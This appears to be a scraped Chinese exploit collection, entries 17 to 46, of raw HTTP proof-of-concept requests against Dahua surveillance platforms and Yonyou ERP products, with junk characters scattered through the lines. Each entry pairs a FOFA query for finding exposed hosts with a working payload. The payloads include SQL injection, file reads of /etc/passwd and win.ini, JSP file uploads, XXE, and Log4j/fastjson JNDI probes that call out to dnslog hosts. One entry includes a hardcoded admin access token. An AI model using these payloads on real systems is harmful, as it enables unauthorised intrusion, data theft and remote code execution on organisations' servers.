GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
+ D3 m8 G% p% u  S* GUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
; S" w( R& F# gConnection: close
Accept: */*
, F' m4 G& n9 E5 |1 i; m* z/ b% HAccept-Language: en
9 H  e1 l6 e( ~# f' J+ H$ bAccept-Encoding: gzip
' h: D3 q  H* _

2 O. q) O( E' m: b3 Q  ~17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
, H. Z. w5 K$ k$ w, Z# x6 tAccept-Encoding: gzip
8 h, X0 I5 w1 {; C2 s
  }, b+ K/ \0 b$ P" D& G<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
6 V' P. q; _- `) T' |* ]# g<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
1 a1 G$ b0 f. t8 M+ R      </netMarkings>
6 D% j0 u. n* Z7 `    </ns1:deleteBulletin>
' J% E  C  O' J) H  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
. O$ z( o4 k6 m0 t5 hGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
0 V" @' U% R! R! x8 L: j0 D3 k% y$ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
4 u' X! H9 @& ~5 G0 m* N* |Accept: */*
Connection: keep-alive
! V4 _/ o" ~! d- G' F
" ]0 |) P, a+ [4 R! g4 I

0 A, u" k3 d5 Z( o" Z" Z19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
' c( X+ h+ n  d/ j; O% KFOFA：app="dahua-DSS"
# K1 w- X7 z5 JGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
; `/ y4 q! [% y/ T7 a* \) z8 EHost:
' D1 A' k, h9 i& H9 x8 g$ O: H8 aUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% i7 _; Q# x, _8 @" l& e( S7 M1 OConnection: keep-alive

0 L7 g4 s( ^  [. }6 t& }' ^
20. 大华ICC智能物联综合管理平台任意文件读取
) K# \. |* [* H) Y. ]; ZFOFA：body="*客户端会小于800*"
/ E: X. T+ w# \7 d6 h$ o4 s) KGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
% I9 A8 i% ?( G7 g7 f) i8 |- A, hHost: x.x.x.x
( c6 j5 R% @7 q: N5 L0 HUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ w" u2 ~: E5 RConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
5 M5 M5 W% D% |, _- DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 o( w; v$ Q) s: k/ ZContent-Length: 161
Accept-Encoding: gzip
4 b: G* s8 }- E- @Connection: close
( q4 f2 D  S1 W+ T. T3 n" b- [  ]Content-Type: application/json;charset=utf-8

9 u5 }1 z6 y6 Y{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
# z* ^! c* J/ q- V* r    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
6 {/ N% _, X8 m! R. L  }""
}
* j4 b* p. H7 X+ |; B3 t4 N
: {' \  P5 W1 y1 V8 Z% n$ \) ^9 d
. E2 ~& t1 n% F( W! O! z: p: J% o22. 大华ICC智能物联综合管理平台 log4j远程代码执行
4 O* x0 o; k; m. ~4 W# Z  sFOFA：icon_hash="-1935899595"
- f, \7 G$ k" XPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

6 ?9 w# r+ E% f{
' |1 X4 ~5 U1 j"loginName":"${jndi:ldap://dnslog}"
}
) i6 I0 H- v' V
! S$ _0 b8 g& H' q1 q+ X7 ^
. X* u+ ]& L" g: f  Y
; i! J: J, T. K% c0 ]$ Y+ W23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
- s! g' R1 ~& h- _$ P$ R5 ^2 T3 S# pFOFA：icon_hash="-1935899595"
. f, \9 X! Y% x. l" P' jPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
+ v3 Q  ~) Y) ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

4 ~6 ~. b/ G* M* K3 z: i9 g6 O. `8 j{
2 T3 z! {  a; d5 s3 g    "a":{
7 Q" }; E  a, g4 n        "@type":"com.alibaba.fastjson.JSONObject",
) @4 ~! {% `8 Q# C4 X4 }% p) b       {"@type":"java.net.URL","val":"http://DNSLOG"}
! ]" s' ?- l- p2 y, h9 J        }""
}
# L- S  `& f! ~/ U% w! {5 S4 b

. \5 T' N/ V& j1 ^' i24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
& U0 E# s/ @( d/ d! h* P) v# BPOST /aim/equipmap/accept.jsp HTTP/1.1
( R4 I2 p" U1 X) C# `$ I3 `; rHost: x.x.x.x
2 I( _8 X, u" aUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
* Q" W3 |7 D  Q) _Content-Length: 449
3 B# ^% C2 q5 c5 t! s( YAccept: */*
) O# o( w9 i6 G( U$ G$ VAccept-Encoding: gzip
2 i6 O6 w/ z3 P3 Y0 u2 W+ y( UContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
: z* T! c% K3 K3 |. n, k
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
4 i- A; W0 b% A# T8 |9 O4 mContent-Type: text/plain
2 x: d* [9 x, o/ Y8 R& D" j* g
+ C0 H: B- |- F. g" ]; L<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
, c3 b, ^' }, s, k6 M' y* m
/ F( u: S& B: S& s: L  i. ^( e\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
9 P* u! @/ l6 {* T" l; U-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

6 w! O1 _1 i( K
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
- A/ U6 p: T9 Q3 u, PPOST /portal/registerServlet HTTP/1.1
  @/ E; a& Z" U' j/ ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
3 A& ~. J9 |  zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
) d1 V0 w7 c0 M8 t; zContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog

7 A  p% [* Z* F6 O7 P5 N# t8 R

26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, ?2 E. f7 e% I/ S" PHost: your-ip
2 |  j; x" Q: j% G7 J% J4 L0 Y( \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
: `$ S& I/ k+ I" sAccept-Encoding: gzip, deflate
Accept: */*
4 c( Q, K! ~8 Y# J  w6 e% TConnection: keep-alive

) }6 ~' v9 q* }! h1 I$ c. w
1 c; V  U- j$ G' b8 p27. 用友 NC showcontent SQL注入
; H5 r- m/ T5 D$ y+ `3 t$ y8 nFOFA：icon_hash="1085941792"
( e8 y! z, {/ s4 D8 iGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
7 n! O! @9 m; _3 d% k# gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: l6 e( Z1 A5 v. H4 JAccept-Encoding: identity
Connection: close
  m& P2 V0 P" j2 c7 `) U# zContent-Type: text/xml; charset=utf-8
: Z# Y3 g1 R( E( ]( K( e

28. 用友NC grouptemplet 任意文件上传
, ~3 I6 p+ r1 U. s6 uFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
$ M- h+ h+ Z( {2 V% e- }' iConnection: close
- p% ^9 Y5 i: O; ]: N' ?0 E! ]Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
$ o8 h/ }7 |6 h6 _
! ^0 [: ]2 P0 e% M) P# ?/ i------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
4 p2 u" D& w9 V& W" W, s* `Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
, K# j- o4 I* u7 {. S% JContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
/ n6 V9 Y$ p, f( A- n------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

" \& j7 R$ |) J( o. |( D
' h  P0 h9 ]; t) ^2 ~  l/ a7 ~/uapim/static/pages/nc/head.jsp
$ f  m+ u* u6 h7 B4 P2 Y5 k0 a3 h
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% N7 |- z2 y; v6 b5 rHost: your-ip
& z4 v+ d0 v1 W/ w8 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. q  s, v% ^! }& B9 \( ?Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
9 j2 \8 s. `! x# b  m5 ?2 QConnection: keep-alive

/ s$ ]  C0 Y7 ^
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
2 M0 g5 G$ {: i3 Y6 VPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
  G& x7 Q: ^6 T# `Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
9 I' Y  Q8 p/ ?% kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
- u8 l0 P: S+ u% w; U. t4 }, UConnection: close

' i" E5 l' H! M$ U------WebKitFormBoundaryH970hbttBhoCyj9V
4 y' A" L" }0 iContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
3 w& h3 O9 M4 I$ EContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
$ I' T9 Q: w2 V  b
) f8 U# f% {( l& l: o$ }. r+ a; t
8 C- ]; {4 E- W6 h: J31. 用友NC runStateServlet SQL注入
, {, {8 o' ^$ D: m; \$ Hversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
  f* U" l4 _* bHost: host
1 B. p+ H  L* ]$ pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 |! q+ r" S: j6 {9 b4 KContent-Type: application/x-www-form-urlencoded


  T9 U* A- J: U( S; ]+ W32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
) }5 r+ i* S. V' s. s7 \/ r% oFOFA：app="用友-UFIDA-NC"
( ]+ }# P$ _; |- y$ e& p' ^: ^GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 }# U, H/ i; j: f2 _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 ~& Z. ~' y) t7 {. pAccept-Encoding: gzip, deflate
Accept: */*
5 }2 K5 h* N7 i7 @/ P7 }% B, {# p2 `Connection: keep-alive


7 e; C3 Q  C/ I+ x, A2 x5 o2 I. E33. 用友NC downTax/download SQL注入
" n* |" y; k4 r5 {/ c- uversion：NC6.5FOFA：app="用友-UFIDA-NC"
! f6 p% d/ I$ z% a" o) d' ^0 _GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ X4 c6 y' @7 `, N2 T" o; f& ?Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: r" g1 ^' U2 K8 A; u

34. 用友NC warningDetailInfo接口SQL注入
# }* V9 ]* I# s' RFOFA：app="用友-UFIDA-NC"
" b6 x1 e5 b2 r4 g6 KGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
/ Q- k: i% X. e$ I& Z. h: Q6 o; J; v7 tHost: your-ip
% M6 e1 h6 {! P6 R9 \8 x! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 K. K) z/ a* N: S; l& c! pContent-Type: application/x-www-form-urlencoded
$ V1 h! E0 o. v, B/ d/ B9 AAccept-Encoding: gzip, deflate
Accept: */*
) ?& H* i/ _8 [: G; TConnection: keep-alive
! E% `3 x- X& ~. }' r

35. 用友NC-Cloud importhttpscer任意文件上传
- {& M$ m- b$ t  C: iFOFA：app="用友-NC-Cloud"
  x3 g" S4 a" C1 z- w& Z( {POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
4 E$ E7 M9 M" ?) a/ QHost: 203.25.218.166:8888
* C" k( T. G# d9 _1 T6 k8 f9 PUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
+ p; w7 D: x" R/ g% Z" k: LConnection: close
3 i! j, `9 Y9 X  D6 g3 m0 N4 T6 kaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
6 S# b4 U( R" J1 t2 _Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
9 F* Q0 m7 H/ x) M
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
# z3 }5 {) \. J3 w- r3 d
" o- p9 \+ j: u6 F$ A: j7 o
0 Y6 m: ]! y& i; J: \" T36. 用友NC-Cloud soapFormat XXE
! d8 T3 V' O( _+ k/ q1 R  [6 m' VFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
" u& e) b5 a9 t' PPOST /uapws/soapFormat.ajax HTTP/1.1
& A' y& i; l* e' o1 jHost: 192.168.40.130:8989
$ X# z- a/ c) d% G% R) P! [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
  j+ x; X, x; i; b7 ~0 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ v8 X/ b' S) z5 qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
4 i- K% ~) ^: r# L5 N: ^7 pContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
" s. R" T# j6 g2 g! \  e  v# v
3 B) `6 ~- b5 ?( t0 Qmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
/ i( h; w& M3 U% i! W0 F$ U
( t) u% J: g9 d6 t7 R$ E
/ j' O; e8 U3 T" K1 E37. 用友NC-Cloud IUpdateService XXE
; U# R3 }, h% u) bFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
' Y* I# k, |/ p3 W$ Q7 }* WPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
) O0 h* \: k; K+ BHost: 192.168.40.130:8989
3 h" s$ N9 f5 N4 R$ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
+ t0 N- F8 i* [9 z% ~Content-Length: 421
7 ]/ f$ g2 V  E3 y% w5 a/ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 f* r* @/ Q; G; ]: \& CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) x1 @3 Z4 ]% l6 OConnection: close
3 c( w( T0 ]1 @Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
; F2 O8 I2 g. JUpgrade-Insecure-Requests: 1

, s1 M) P& Y6 p7 n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
8 h. X+ b: x9 ]0 L% v# u8 \</iup:getResult>
  ^" m$ r0 }1 K8 _4 f$ z/ B" d</soapenv:Body>
! h, b' P/ I4 l- o& a</soapenv:Envelope>
9 ]+ F4 I. L  I9 d

2 _) j$ P! f4 |. X  S1 ?& n, s9 o" i
2 W; R# P  B, k6 Q38. 用友U8 Cloud smartweb2.RPC.d XXE
! c- ?5 W9 P6 @; |9 LFOFA：app="用友-U8-Cloud"
5 s5 [& t/ F3 `  PPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
5 x/ ~4 q4 a/ B" h9 x) yContent-Length: 260
  o1 q5 h8 D8 c% D( I+ i0 a8 r8 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
' p5 {* N9 z1 T5 u; PAccept-Encoding: gzip, deflate
1 F. n3 A0 i( E; F( J: yAccept-Language: zh-CN,zh;q=0.9
3 Q, \/ }3 o' x/ s5 y; sConnection: close
Content-Type: application/x-www-form-urlencoded
9 W3 p% L  z( V# v
' x- e. _4 l) g3 y0 q; C__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
; x9 f! C  f7 o" ^7 M7 [7 }FOFA：title="u8c"
8 a) N9 \5 L! K+ m* N- dPOST /servlet/RegisterServlet HTTP/1.1
* Q# K- s5 ?6 ?, E* s  tHost: 192.168.86.128:8089
% @+ G7 r4 ^9 A) i- h* c3 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
5 s/ D* y6 V+ \$ M3 L: TConnection: close
Content-Length: 85
: ?7 ~5 v' @1 gAccept: */*
  T, \5 d( `' m7 iAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
3 A8 h5 y0 Q3 r& z! C; G+ t' HAccept-Encoding: gzip

# r& Y! ~( n( t9 ?4 X) Z  ?. \+ Qusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
9 q4 ~( f! x7 @0 ^& r
, n, Y* @# E/ H; u' ]8 q
* A" f# b4 z5 W& b- R& E40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
  e; d2 A! O- nPOST /service/XChangeServlet HTTP/1.1
2 Q$ J5 L/ |0 b. Q: gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
* N* t3 v1 \. C9 u) rContent-Type: text/xml
Connection: close

# `# |, [1 a& Q" {<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
6 ]/ |/ c" r) l' {. u) y$ [
# ]0 l# @: u! z' [+ H1 @6 W
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
7 c! e" R  _& |2 HGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 b( r; Y, g2 L4 |) I0 aContent-Type: application/json
Accept-Encoding: gzip
( c: @3 B$ t$ v! Y; ~0 CConnection: close

- O2 r3 @/ ^$ }& F" K7 l/ {
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
1 V( x  A+ N: C, V: I" U9 bHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
  ?/ K9 y8 l% a+ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


  @( V2 S+ [8 Q0 G) x" k/ lhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

) x* f9 ?5 p2 G! V- @7 b7 V! ^- W43. 用友GRP-U8 userInfoWeb SQL注入致RCE
% d# o7 k9 E/ n1 B& y' iFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
. g: q$ F( V+ d5 r9 Y; `Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# n+ H! V: q; b* Z) Y/ m* ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! E3 f* \5 Z+ x+ ~- p# \1 D( MConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

" A1 Q/ v* u2 _, r$ l6 E<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
; C7 u' N. W! ]) q   <soapenv:Header/>
1 l- ~$ c* Q% X, |" C6 \1 w   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
' s# K! D" \7 o      </ser:getUserNameById>
) G% Z. F1 b+ y" m7 e0 K   </soapenv:Body>
9 W$ w8 p' g4 R) n7 E$ `. Z8 B' r</soapenv:Envelope>
5 e' a' Q$ Z- F/ H0 @; M$ O

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
. C8 _7 h* N( {: |, MGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
) T2 L- R- @6 ZHost: your-ip
/ r1 s" {$ v( a* yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! Q: Y/ V. I# D; H, `6 V1 BAccept-Encoding: gzip, deflate
* t4 e( Q' l) F/ u+ h/ eAccept-Language: zh-CN,zh;q=0.9
( @0 z, Z! o! EConnection: close


45. 用友GRP-U8 ufgovbank XXE
+ f7 S" N5 c5 i4 o3 M: y" W9 VFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
. `' _) R, C/ {  p# K3 w* tHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
0 E7 V% H8 K% i& BConnection: close
Content-Length: 161
/ Y9 T$ q5 J9 G  B( XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
" q6 r% R: A$ Y3 ?' r! W1 s- ?Accept-Encoding: gzip

% E  R$ c8 X9 r2 d0 oreqData=<?xml version="1.0"?>
/ f* Y: l0 x- l6 E8 X. J1 X<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
- d% G. ~, ?( j3 Z
( `  p/ G& I$ V6 m: T/ _+ m- j5 Y# p
4 m5 ~& b7 J& ~3 a46. 用友GRP-U8 sqcxIndex.jsp SQL注入
